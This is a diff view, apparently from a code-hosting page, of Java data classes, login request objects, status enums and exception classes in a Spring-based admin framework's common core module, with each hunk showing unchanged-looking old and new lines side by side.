private String fileName; private String fileName;
/** /**
* 原名 * 原名
*/ */
private String originalName; private String originalName;
/** /**
* 文件后缀名 * 文件后缀名
*/ */
private String fileSuffix; private String fileSuffix;
/** /**
* URL地址 * URL地址
*/ */
private String url; private String url;
} }

View File

@@ -1,42 +1,42 @@
package org.dromara.common.core.domain.dto; package org.dromara.common.core.domain.dto;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 角色 * 角色
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class RoleDTO implements Serializable { public class RoleDTO implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 角色ID * 角色ID
*/ */
private Long roleId; private Long roleId;
/** /**
* 角色名称 * 角色名称
*/ */
private String roleName; private String roleName;
/** /**
* 角色权限 * 角色权限
*/ */
private String roleKey; private String roleKey;
/** /**
* 数据范围1所有数据权限2自定义数据权限3本部门数据权限4本部门及以下数据权限5仅本人数据权限 * 数据范围1所有数据权限2自定义数据权限3本部门数据权限4本部门及以下数据权限5仅本人数据权限
*/ */
private String dataScope; private String dataScope;
} }

View File

@@ -1,73 +1,73 @@
package org.dromara.common.core.domain.dto; package org.dromara.common.core.domain.dto;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
import java.util.Date; import java.util.Date;
/** /**
* 用户 * 用户
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class UserDTO implements Serializable { public class UserDTO implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 用户ID * 用户ID
*/ */
private Long userId; private Long userId;
/** /**
* 部门ID * 部门ID
*/ */
private Long deptId; private Long deptId;
/** /**
* 用户账号 * 用户账号
*/ */
private String userName; private String userName;
/** /**
* 用户昵称 * 用户昵称
*/ */
private String nickName; private String nickName;
/** /**
* 用户类型sys_user系统用户 * 用户类型sys_user系统用户
*/ */
private String userType; private String userType;
/** /**
* 用户邮箱 * 用户邮箱
*/ */
private String email; private String email;
/** /**
* 手机号码 * 手机号码
*/ */
private String phonenumber; private String phonenumber;
/** /**
* 用户性别0男 1女 2未知 * 用户性别0男 1女 2未知
*/ */
private String sex; private String sex;
/** /**
* 帐号状态0正常 1停用 * 帐号状态0正常 1停用
*/ */
private String status; private String status;
/** /**
* 创建时间 * 创建时间
*/ */
private Date createTime; private Date createTime;
} }

View File

@@ -1,72 +1,72 @@
package org.dromara.common.core.domain.dto; package org.dromara.common.core.domain.dto;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 当前在线会话 * 当前在线会话
* *
* @author ruoyi * @author ruoyi
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class UserOnlineDTO implements Serializable { public class UserOnlineDTO implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 会话编号 * 会话编号
*/ */
private String tokenId; private String tokenId;
/** /**
* 部门名称 * 部门名称
*/ */
private String deptName; private String deptName;
/** /**
* 用户名称 * 用户名称
*/ */
private String userName; private String userName;
/** /**
* 客户端 * 客户端
*/ */
private String clientKey; private String clientKey;
/** /**
* 设备类型 * 设备类型
*/ */
private String deviceType; private String deviceType;
/** /**
* 登录IP地址 * 登录IP地址
*/ */
private String ipaddr; private String ipaddr;
/** /**
* 登录地址 * 登录地址
*/ */
private String loginLocation; private String loginLocation;
/** /**
* 浏览器类型 * 浏览器类型
*/ */
private String browser; private String browser;
/** /**
* 操作系统 * 操作系统
*/ */
private String os; private String os;
/** /**
* 登录时间 * 登录时间
*/ */
private Long loginTime; private Long loginTime;
} }

View File

@@ -1,41 +1,41 @@
package org.dromara.common.core.domain.event; package org.dromara.common.core.domain.event;
import lombok.Data; import lombok.Data;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 总体流程监听 * 总体流程监听
* *
* @author may * @author may
*/ */
@Data @Data
public class ProcessEvent implements Serializable { public class ProcessEvent implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 流程定义key * 流程定义key
*/ */
private String key; private String key;
/** /**
* 业务id * 业务id
*/ */
private String businessKey; private String businessKey;
/** /**
* 状态 * 状态
*/ */
private String status; private String status;
/** /**
* 当为true时为申请人节点办理 * 当为true时为申请人节点办理
*/ */
private boolean submit; private boolean submit;
} }

View File

@@ -1,40 +1,40 @@
package org.dromara.common.core.domain.event; package org.dromara.common.core.domain.event;
import lombok.Data; import lombok.Data;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 流程办理监听 * 流程办理监听
* *
* @author may * @author may
*/ */
@Data @Data
public class ProcessTaskEvent implements Serializable { public class ProcessTaskEvent implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 流程定义key * 流程定义key
*/ */
private String key; private String key;
/** /**
* 审批节点key * 审批节点key
*/ */
private String taskDefinitionKey; private String taskDefinitionKey;
/** /**
* 任务id * 任务id
*/ */
private String taskId; private String taskId;
/** /**
* 业务id * 业务id
*/ */
private String businessKey; private String businessKey;
} }

View File

@@ -1,31 +1,31 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.Email; import jakarta.validation.constraints.Email;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
/** /**
* 邮件登录对象 * 邮件登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class EmailLoginBody extends LoginBody { public class EmailLoginBody extends LoginBody {
/** /**
* 邮箱 * 邮箱
*/ */
@NotBlank(message = "{user.email.not.blank}") @NotBlank(message = "{user.email.not.blank}")
@Email(message = "{user.email.not.valid}") @Email(message = "{user.email.not.valid}")
private String email; private String email;
/** /**
* 邮箱code * 邮箱code
*/ */
@NotBlank(message = "{email.code.not.blank}") @NotBlank(message = "{email.code.not.blank}")
private String emailCode; private String emailCode;
} }

View File

@@ -1,48 +1,48 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
/** /**
* 用户登录对象 * 用户登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
public class LoginBody implements Serializable { public class LoginBody implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 客户端id * 客户端id
*/ */
@NotBlank(message = "{auth.clientid.not.blank}") @NotBlank(message = "{auth.clientid.not.blank}")
private String clientId; private String clientId;
/** /**
* 授权类型 * 授权类型
*/ */
@NotBlank(message = "{auth.grant.type.not.blank}") @NotBlank(message = "{auth.grant.type.not.blank}")
private String grantType; private String grantType;
/** /**
* 租户ID * 租户ID
*/ */
private String tenantId; private String tenantId;
/** /**
* 验证码 * 验证码
*/ */
private String code; private String code;
/** /**
* 唯一标识 * 唯一标识
*/ */
private String uuid; private String uuid;
} }

View File

@@ -1,152 +1,152 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import org.dromara.common.core.domain.dto.RoleDTO; import org.dromara.common.core.domain.dto.RoleDTO;
import java.io.Serial; import java.io.Serial;
import java.io.Serializable; import java.io.Serializable;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
/** /**
* 登录用户身份权限 * 登录用户身份权限
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
public class LoginUser implements Serializable { public class LoginUser implements Serializable {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 租户ID * 租户ID
*/ */
private String tenantId; private String tenantId;
/** /**
* 用户ID * 用户ID
*/ */
private Long userId; private Long userId;
/** /**
* 部门ID * 部门ID
*/ */
private Long deptId; private Long deptId;
/** /**
* 部门类别编码 * 部门类别编码
*/ */
private String deptCategory; private String deptCategory;
/** /**
* 部门名 * 部门名
*/ */
private String deptName; private String deptName;
/** /**
* 用户唯一标识 * 用户唯一标识
*/ */
private String token; private String token;
/** /**
* 用户类型 * 用户类型
*/ */
private String userType; private String userType;
/** /**
* 登录时间 * 登录时间
*/ */
private Long loginTime; private Long loginTime;
/** /**
* 过期时间 * 过期时间
*/ */
private Long expireTime; private Long expireTime;
/** /**
* 登录IP地址 * 登录IP地址
*/ */
private String ipaddr; private String ipaddr;
/** /**
* 登录地点 * 登录地点
*/ */
private String loginLocation; private String loginLocation;
/** /**
* 浏览器类型 * 浏览器类型
*/ */
private String browser; private String browser;
/** /**
* 操作系统 * 操作系统
*/ */
private String os; private String os;
/** /**
* 菜单权限 * 菜单权限
*/ */
private Set<String> menuPermission; private Set<String> menuPermission;
/** /**
* 角色权限 * 角色权限
*/ */
private Set<String> rolePermission; private Set<String> rolePermission;
/** /**
* 用户名 * 用户名
*/ */
private String username; private String username;
/** /**
* 用户昵称 * 用户昵称
*/ */
private String nickname; private String nickname;
/** /**
* 角色对象 * 角色对象
*/ */
private List<RoleDTO> roles; private List<RoleDTO> roles;
/** /**
* 数据权限 当前角色ID * 数据权限 当前角色ID
*/ */
private Long roleId; private Long roleId;
/** /**
* 客户端 * 客户端
*/ */
private String clientKey; private String clientKey;
/** /**
* 设备类型 * 设备类型
*/ */
private String deviceType; private String deviceType;
/** /**
* 真实姓名 * 真实姓名
*/ */
private String realName; private String realName;
/** /**
* 身份1=员工2=技术3=客服4=分图员) * 身份1=员工2=技术3=客服4=分图员)
*/ */
private Integer identity; private Integer identity;
/** /**
* 获取登录id * 获取登录id
*/ */
public String getLoginId() { public String getLoginId() {
if (userType == null) { if (userType == null) {
throw new IllegalArgumentException("用户类型不能为空"); throw new IllegalArgumentException("用户类型不能为空");
} }
if (userId == null) { if (userId == null) {
throw new IllegalArgumentException("用户ID不能为空"); throw new IllegalArgumentException("用户ID不能为空");
} }
return userType + ":" + userId; return userType + ":" + userId;
} }
} }

View File

@@ -1,31 +1,31 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import org.hibernate.validator.constraints.Length; import org.hibernate.validator.constraints.Length;
/** /**
* 密码登录对象 * 密码登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class PasswordLoginBody extends LoginBody { public class PasswordLoginBody extends LoginBody {
/** /**
* 用户名 * 用户名
*/ */
@NotBlank(message = "{user.username.not.blank}") @NotBlank(message = "{user.username.not.blank}")
@Length(min = 2, max = 20, message = "{user.username.length.valid}") @Length(min = 2, max = 20, message = "{user.username.length.valid}")
private String username; private String username;
/** /**
* 用户密码 * 用户密码
*/ */
@NotBlank(message = "{user.password.not.blank}") @NotBlank(message = "{user.password.not.blank}")
@Length(min = 5, max = 20, message = "{user.password.length.valid}") @Length(min = 5, max = 20, message = "{user.password.length.valid}")
private String password; private String password;
} }

View File

@@ -1,33 +1,33 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import org.hibernate.validator.constraints.Length; import org.hibernate.validator.constraints.Length;
/** /**
* 用户注册对象 * 用户注册对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class RegisterBody extends LoginBody { public class RegisterBody extends LoginBody {
/** /**
* 用户名 * 用户名
*/ */
@NotBlank(message = "{user.username.not.blank}") @NotBlank(message = "{user.username.not.blank}")
@Length(min = 2, max = 20, message = "{user.username.length.valid}") @Length(min = 2, max = 20, message = "{user.username.length.valid}")
private String username; private String username;
/** /**
* 用户密码 * 用户密码
*/ */
@NotBlank(message = "{user.password.not.blank}") @NotBlank(message = "{user.password.not.blank}")
@Length(min = 5, max = 20, message = "{user.password.length.valid}") @Length(min = 5, max = 20, message = "{user.password.length.valid}")
private String password; private String password;
private String userType; private String userType;
} }

View File

@@ -1,29 +1,29 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
/** /**
* 短信登录对象 * 短信登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class SmsLoginBody extends LoginBody { public class SmsLoginBody extends LoginBody {
/** /**
* 手机号 * 手机号
*/ */
@NotBlank(message = "{user.phonenumber.not.blank}") @NotBlank(message = "{user.phonenumber.not.blank}")
private String phonenumber; private String phonenumber;
/** /**
* 短信code * 短信code
*/ */
@NotBlank(message = "{sms.code.not.blank}") @NotBlank(message = "{sms.code.not.blank}")
private String smsCode; private String smsCode;
} }

View File

@@ -1,35 +1,35 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
/** /**
* 三方登录对象 * 三方登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class SocialLoginBody extends LoginBody { public class SocialLoginBody extends LoginBody {
/** /**
* 第三方登录平台 * 第三方登录平台
*/ */
@NotBlank(message = "{social.source.not.blank}") @NotBlank(message = "{social.source.not.blank}")
private String source; private String source;
/** /**
* 第三方登录code * 第三方登录code
*/ */
@NotBlank(message = "{social.code.not.blank}") @NotBlank(message = "{social.code.not.blank}")
private String socialCode; private String socialCode;
/** /**
* 第三方登录socialState * 第三方登录socialState
*/ */
@NotBlank(message = "{social.state.not.blank}") @NotBlank(message = "{social.state.not.blank}")
private String socialState; private String socialState;
} }

View File

@@ -1,28 +1,28 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
/** /**
* 三方登录对象 * 三方登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class XcxLoginBody extends LoginBody { public class XcxLoginBody extends LoginBody {
/** /**
* 小程序id(多个小程序时使用) * 小程序id(多个小程序时使用)
*/ */
private String appid; private String appid;
/** /**
* 小程序code * 小程序code
*/ */
@NotBlank(message = "{xcx.code.not.blank}") @NotBlank(message = "{xcx.code.not.blank}")
private String xcxCode; private String xcxCode;
} }

View File

@@ -1,27 +1,27 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
/** /**
* 小程序登录用户身份权限 * 小程序登录用户身份权限
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
@NoArgsConstructor @NoArgsConstructor
public class XcxLoginUser extends LoginUser { public class XcxLoginUser extends LoginUser {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* openid * openid
*/ */
private String openid; private String openid;
} }

View File

@@ -1,152 +1,152 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import cn.hutool.core.util.StrUtil; import cn.hutool.core.util.StrUtil;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import java.util.Arrays; import java.util.Arrays;
/** /**
* 业务状态枚举 * 业务状态枚举
* *
* @author may * @author may
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum BusinessStatusEnum { public enum BusinessStatusEnum {
/** /**
* 已撤销 * 已撤销
*/ */
CANCEL("cancel", "已撤销"), CANCEL("cancel", "已撤销"),
/** /**
* 草稿 * 草稿
*/ */
DRAFT("draft", "草稿"), DRAFT("draft", "草稿"),
/** /**
* 待审核 * 待审核
*/ */
WAITING("waiting", "待审核"), WAITING("waiting", "待审核"),
/** /**
* 已完成 * 已完成
*/ */
FINISH("finish", "已完成"), FINISH("finish", "已完成"),
/** /**
* 已作废 * 已作废
*/ */
INVALID("invalid", "已作废"), INVALID("invalid", "已作废"),
/** /**
* 已退回 * 已退回
*/ */
BACK("back", "已退回"), BACK("back", "已退回"),
/** /**
* 已终止 * 已终止
*/ */
TERMINATION("termination", "已终止"); TERMINATION("termination", "已终止");
/** /**
* 状态 * 状态
*/ */
private final String status; private final String status;
/** /**
* 描述 * 描述
*/ */
private final String desc; private final String desc;
/** /**
* 获取业务状态 * 获取业务状态
* *
* @param status 状态 * @param status 状态
*/ */
public static String findByStatus(String status) { public static String findByStatus(String status) {
if (StringUtils.isBlank(status)) { if (StringUtils.isBlank(status)) {
return StrUtil.EMPTY; return StrUtil.EMPTY;
} }
return Arrays.stream(BusinessStatusEnum.values()) return Arrays.stream(BusinessStatusEnum.values())
.filter(statusEnum -> statusEnum.getStatus().equals(status)) .filter(statusEnum -> statusEnum.getStatus().equals(status))
.findFirst() .findFirst()
.map(BusinessStatusEnum::getDesc) .map(BusinessStatusEnum::getDesc)
.orElse(StrUtil.EMPTY); .orElse(StrUtil.EMPTY);
} }
/** /**
* 启动流程校验 * 启动流程校验
* *
* @param status 状态 * @param status 状态
*/ */
public static void checkStartStatus(String status) { public static void checkStartStatus(String status) {
if (WAITING.getStatus().equals(status)) { if (WAITING.getStatus().equals(status)) {
throw new ServiceException("该单据已提交过申请,正在审批中!"); throw new ServiceException("该单据已提交过申请,正在审批中!");
} else if (FINISH.getStatus().equals(status)) { } else if (FINISH.getStatus().equals(status)) {
throw new ServiceException("该单据已完成申请!"); throw new ServiceException("该单据已完成申请!");
} else if (INVALID.getStatus().equals(status)) { } else if (INVALID.getStatus().equals(status)) {
throw new ServiceException("该单据已作废!"); throw new ServiceException("该单据已作废!");
} else if (TERMINATION.getStatus().equals(status)) { } else if (TERMINATION.getStatus().equals(status)) {
throw new ServiceException("该单据已终止!"); throw new ServiceException("该单据已终止!");
} else if (StringUtils.isBlank(status)) { } else if (StringUtils.isBlank(status)) {
throw new ServiceException("流程状态为空!"); throw new ServiceException("流程状态为空!");
} }
} }
/** /**
* 撤销流程校验 * 撤销流程校验
* *
* @param status 状态 * @param status 状态
*/ */
public static void checkCancelStatus(String status) { public static void checkCancelStatus(String status) {
if (CANCEL.getStatus().equals(status)) { if (CANCEL.getStatus().equals(status)) {
throw new ServiceException("该单据已撤销!"); throw new ServiceException("该单据已撤销!");
} else if (FINISH.getStatus().equals(status)) { } else if (FINISH.getStatus().equals(status)) {
throw new ServiceException("该单据已完成申请!"); throw new ServiceException("该单据已完成申请!");
} else if (INVALID.getStatus().equals(status)) { } else if (INVALID.getStatus().equals(status)) {
throw new ServiceException("该单据已作废!"); throw new ServiceException("该单据已作废!");
} else if (TERMINATION.getStatus().equals(status)) { } else if (TERMINATION.getStatus().equals(status)) {
throw new ServiceException("该单据已终止!"); throw new ServiceException("该单据已终止!");
} else if (BACK.getStatus().equals(status)) { } else if (BACK.getStatus().equals(status)) {
throw new ServiceException("该单据已退回!"); throw new ServiceException("该单据已退回!");
} else if (StringUtils.isBlank(status)) { } else if (StringUtils.isBlank(status)) {
throw new ServiceException("流程状态为空!"); throw new ServiceException("流程状态为空!");
} }
} }
/** /**
* 驳回流程校验 * 驳回流程校验
* *
* @param status 状态 * @param status 状态
*/ */
public static void checkBackStatus(String status) { public static void checkBackStatus(String status) {
if (BACK.getStatus().equals(status)) { if (BACK.getStatus().equals(status)) {
throw new ServiceException("该单据已退回!"); throw new ServiceException("该单据已退回!");
} else if (FINISH.getStatus().equals(status)) { } else if (FINISH.getStatus().equals(status)) {
throw new ServiceException("该单据已完成申请!"); throw new ServiceException("该单据已完成申请!");
} else if (INVALID.getStatus().equals(status)) { } else if (INVALID.getStatus().equals(status)) {
throw new ServiceException("该单据已作废!"); throw new ServiceException("该单据已作废!");
} else if (TERMINATION.getStatus().equals(status)) { } else if (TERMINATION.getStatus().equals(status)) {
throw new ServiceException("该单据已终止!"); throw new ServiceException("该单据已终止!");
} else if (CANCEL.getStatus().equals(status)) { } else if (CANCEL.getStatus().equals(status)) {
throw new ServiceException("该单据已撤销!"); throw new ServiceException("该单据已撤销!");
} else if (StringUtils.isBlank(status)) { } else if (StringUtils.isBlank(status)) {
throw new ServiceException("流程状态为空!"); throw new ServiceException("流程状态为空!");
} }
} }
/** /**
* 作废,终止流程校验 * 作废,终止流程校验
* *
* @param status 状态 * @param status 状态
*/ */
public static void checkInvalidStatus(String status) { public static void checkInvalidStatus(String status) {
if (FINISH.getStatus().equals(status)) { if (FINISH.getStatus().equals(status)) {
throw new ServiceException("该单据已完成申请!"); throw new ServiceException("该单据已完成申请!");
} else if (INVALID.getStatus().equals(status)) { } else if (INVALID.getStatus().equals(status)) {
throw new ServiceException("该单据已作废!"); throw new ServiceException("该单据已作废!");
} else if (TERMINATION.getStatus().equals(status)) { } else if (TERMINATION.getStatus().equals(status)) {
throw new ServiceException("该单据已终止!"); throw new ServiceException("该单据已终止!");
} else if (StringUtils.isBlank(status)) { } else if (StringUtils.isBlank(status)) {
throw new ServiceException("流程状态为空!"); throw new ServiceException("流程状态为空!");
} }
} }
} }

View File

@@ -1,37 +1,37 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
/** /**
* 设备类型 * 设备类型
* 针对一套 用户体系 * 针对一套 用户体系
* *
* @author Lion Li * @author Lion Li
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum DeviceType { public enum DeviceType {
/** /**
* pc端 * pc端
*/ */
PC("pc"), PC("pc"),
/** /**
* app端 * app端
*/ */
APP("app"), APP("app"),
/** /**
* 小程序端 * 小程序端
*/ */
XCX("xcx"), XCX("xcx"),
/** /**
* social第三方端 * social第三方端
*/ */
SOCIAL("social"); SOCIAL("social");
private final String device; private final String device;
} }

View File

@@ -1,44 +1,44 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
/** /**
* 登录类型 * 登录类型
* *
* @author Lion Li * @author Lion Li
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum LoginType { public enum LoginType {
/** /**
* 密码登录 * 密码登录
*/ */
PASSWORD("user.password.retry.limit.exceed", "user.password.retry.limit.count"), PASSWORD("user.password.retry.limit.exceed", "user.password.retry.limit.count"),
/** /**
* 短信登录 * 短信登录
*/ */
SMS("sms.code.retry.limit.exceed", "sms.code.retry.limit.count"), SMS("sms.code.retry.limit.exceed", "sms.code.retry.limit.count"),
/** /**
* 邮箱登录 * 邮箱登录
*/ */
EMAIL("email.code.retry.limit.exceed", "email.code.retry.limit.count"), EMAIL("email.code.retry.limit.exceed", "email.code.retry.limit.count"),
/** /**
* 小程序登录 * 小程序登录
*/ */
XCX("", ""); XCX("", "");
/** /**
* 登录重试超出限制提示 * 登录重试超出限制提示
*/ */
final String retryLimitExceed; final String retryLimitExceed;
/** /**
* 登录重试限制计数提示 * 登录重试限制计数提示
*/ */
final String retryLimitCount; final String retryLimitCount;
} }

View File

@@ -1,30 +1,30 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
/** /**
* 用户状态 * 用户状态
* *
* @author ruoyi * @author ruoyi
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum UserStatus { public enum UserStatus {
/** /**
* 正常 * 正常
*/ */
OK("0", "正常"), OK("0", "正常"),
/** /**
* 停用 * 停用
*/ */
DISABLE("1", "停用"), DISABLE("1", "停用"),
/** /**
* 删除 * 删除
*/ */
DELETED("2", "删除"); DELETED("2", "删除");
private final String code; private final String code;
private final String info; private final String info;
} }

View File

@@ -1,37 +1,37 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
/** /**
* 设备类型 * 设备类型
* 针对多套 用户体系 * 针对多套 用户体系
* *
* @author Lion Li * @author Lion Li
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum UserType { public enum UserType {
/** /**
* pc端 * pc端
*/ */
SYS_USER("sys_user"), SYS_USER("sys_user"),
/** /**
* app端 * app端
*/ */
APP_USER("app_user"); APP_USER("app_user");
private final String userType; private final String userType;
public static UserType getUserType(String str) { public static UserType getUserType(String str) {
for (UserType value : values()) { for (UserType value : values()) {
if (StringUtils.contains(str, value.getUserType())) { if (StringUtils.contains(str, value.getUserType())) {
return value; return value;
} }
} }
throw new RuntimeException("'UserType' not found By " + str); throw new RuntimeException("'UserType' not found By " + str);
} }
} }

View File

@@ -1,62 +1,62 @@
package org.dromara.common.core.exception; package org.dromara.common.core.exception;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
/** /**
* 业务异常 * 业务异常
* *
* @author ruoyi * @author ruoyi
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
public final class ServiceException extends RuntimeException { public final class ServiceException extends RuntimeException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 错误码 * 错误码
*/ */
private Integer code; private Integer code;
/** /**
* 错误提示 * 错误提示
*/ */
private String message; private String message;
/** /**
* 错误明细,内部调试错误 * 错误明细,内部调试错误
*/ */
private String detailMessage; private String detailMessage;
public ServiceException(String message) { public ServiceException(String message) {
this.message = message; this.message = message;
} }
public ServiceException(String message, Integer code) { public ServiceException(String message, Integer code) {
this.message = message; this.message = message;
this.code = code; this.code = code;
} }
@Override @Override
public String getMessage() { public String getMessage() {
return message; return message;
} }
public ServiceException setMessage(String message) { public ServiceException setMessage(String message) {
this.message = message; this.message = message;
return this; return this;
} }
public ServiceException setDetailMessage(String detailMessage) { public ServiceException setDetailMessage(String detailMessage) {
this.detailMessage = detailMessage; this.detailMessage = detailMessage;
return this; return this;
} }
} }

View File

@@ -1,62 +1,62 @@
package org.dromara.common.core.exception; package org.dromara.common.core.exception;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
/** /**
* sse 特制异常 * sse 特制异常
* *
* @author LionLi * @author LionLi
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
public final class SseException extends RuntimeException { public final class SseException extends RuntimeException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 错误码 * 错误码
*/ */
private Integer code; private Integer code;
/** /**
* 错误提示 * 错误提示
*/ */
private String message; private String message;
/** /**
* 错误明细,内部调试错误 * 错误明细,内部调试错误
*/ */
private String detailMessage; private String detailMessage;
public SseException(String message) { public SseException(String message) {
this.message = message; this.message = message;
} }
public SseException(String message, Integer code) { public SseException(String message, Integer code) {
this.message = message; this.message = message;
this.code = code; this.code = code;
} }
@Override @Override
public String getMessage() { public String getMessage() {
return message; return message;
} }
public SseException setMessage(String message) { public SseException setMessage(String message) {
this.message = message; this.message = message;
return this; return this;
} }
public SseException setDetailMessage(String detailMessage) { public SseException setDetailMessage(String detailMessage) {
this.detailMessage = detailMessage; this.detailMessage = detailMessage;
return this; return this;
} }
} }

Some files were not shown because too many files have changed in this diff Show More